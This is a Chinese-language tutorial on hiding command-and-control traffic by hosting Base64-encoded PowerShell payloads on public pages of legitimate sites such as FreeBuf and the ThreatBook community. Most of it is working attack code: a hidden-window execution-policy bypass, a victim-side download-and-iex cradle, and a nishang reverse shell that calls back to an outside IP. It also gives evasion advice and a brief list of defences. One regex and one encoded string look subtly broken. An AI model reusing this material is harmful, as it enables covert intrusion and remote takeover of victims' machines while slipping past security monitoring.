使用合法网站制作C2
字数 1592 2025-08-19 12:41:46
利用合法网站构建隐蔽C2通信的教学文档
概述
本教学文档详细介绍了如何利用合法网站(如FreeBuf、微步社区等)作为命令与控制(C2)服务器的隐蔽通信方法。这种方法通过将恶意Payload托管在受信任网站的公开页面上,利用网站的正常流量来隐藏恶意活动,从而绕过防火墙和安全检测。
核心原理
- 隐蔽通信:利用合法网站的公开页面托管Base64编码的恶意命令
- 绕过检测:利用受信任网站的域名和流量模式,避免触发安全警报
- 动态更新:攻击者可随时修改网站上的Payload内容
准备工作
所需工具
- PowerShell(受害者主机)
- Base64编码工具(Linux/macOS自带,Windows可用在线工具)
- 网络请求工具(如curl或Invoke-WebRequest)
- 正则表达式匹配能力
目标网站选择标准
- 允许用户公开编辑内容
- 内容可通过固定链接访问
- 允许存储足够长度的字符串(至少200字符)
- 修改后内容能立即公开可见
- 在"查看源代码"中完整显示内容
详细实施步骤
方法一:使用FreeBuf作为Payload托管
1. 创建基础PowerShell命令
powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\$env:USERNAME\Documents\thatgood'
-ep bypass:绕过执行策略/w 1:隐藏窗口New-Item:创建文件
2. Base64编码
printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\thatgood'" | base64 | tr -d '\n'
输出结果:
cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw==
3. 托管到FreeBuf
- 登录FreeBuf账号
- 编辑个人简介
- 将Base64编码用
START和END包裹:STARTcG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLEl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw==END - 保存并验证无痕模式下可见
4. 受害者端执行
$wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing;
$r = [Regex]::new("(?<=START)(.*)(?=END)");
$m = $r.Match($wro.rawcontent);
if($m.Success){
$p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
iex $p
}
方法二:使用微步社区作为C2服务器
1. 创建TCP反向Shell Payload
使用nishang项目的Invoke-PowerShellTcp.ps1脚本:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://192.168.8.113/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.8.113 -Port 4444"
2. Base64编码
printf '%s' 'powershell "IEX(New-Object Net.WebClient).DownloadString('\''http://192.168.8.113/Invoke-PowerShellTcp.ps1'\''); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.8.113 -Port 4444"' | base64 | tr -d '\n'
输出结果:
cG93ZXJzaGVsbCAiSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjguMTEzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpOyBJbnZva2UtUG93ZXJTaGVsbFRjcCAtUmV2ZXJzZSAtSVBBZGRyZXNzIDE5Mi4xNjguOC4xMTMgLVBvcnQgNDQ0NCI=
3. 托管到微步社区
- 在微步社区发帖
- 将Base64编码用
START和END包裹 - 注意微步社区可能有多余匹配问题
4. 受害者端执行(修正正则表达式)
$wro = iwr -Uri https://x.threatbook.com/v5/article?threatInfoID=37765 -UseBasicParsing;
$r = [Regex]::new("(?<=START)END)");
$m = $r.Match($wro.rawcontent);
if($m.Success){
$p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
iex $p
}
关键注意事项
-
Payload长度限制:
- FreeBuf简介限制200字符
- 微步社区帖子无限制(更适合长Payload)
-
正则表达式优化:
- 使用非贪婪匹配
.*?避免匹配过多内容 - 微步社区需要特殊处理:
(?<=START)END)
- 使用非贪婪匹配
-
测试验证:
- 始终先用
echo测试输出而非直接iex - 验证Base64解码后的命令是否正确
- 始终先用
-
隐蔽性增强:
- 优先选择微软等受信任域名的服务
- 定期更换托管Payload的页面
-
网络限制:
- 确保受害者主机能访问目标网站
- 考虑企业网络可能对某些网站的访问限制
防御措施
检测方法
-
监控异常PowerShell活动:
- 大量使用
iwr/Invoke-WebRequest - Base64解码后立即执行命令
- 大量使用
-
网络流量分析:
- 合法网站访问后立即建立异常连接
- 检查HTTP响应中是否包含可疑的Base64字符串
-
正则表达式模式:
- 检测
START.*?END模式的使用 - 监控包含长Base64字符串的网页访问
- 检测
防护建议
-
限制PowerShell使用:
- 禁用不必要的执行策略绕过
- 记录所有PowerShell活动
-
网络控制:
- 限制出站连接
- 对受信任网站也实施内容检查
-
用户教育:
- 提高对社交工程攻击的认识
- 禁止执行不明来源的脚本
扩展应用
-
多阶段Payload:
- 第一阶段从合法网站获取小型加载器
- 第二阶段加载完整恶意软件
-
域名轮换:
- 使用多个合法网站作为备用C2
- 根据条件选择不同的Payload源
-
结合其他技术:
- 与合法API结合使用
- 利用网站评论功能动态更新指令
总结
这种利用合法网站作为C2的方法具有较高的隐蔽性,特别适合针对有严格网络安全措施的目标。攻击者可以通过精心选择托管平台、优化Payload设计和改进通信模式来提高成功率。防御方则需要从多个层面建立检测和防护机制,不能仅依赖域名信誉或流量模式识别。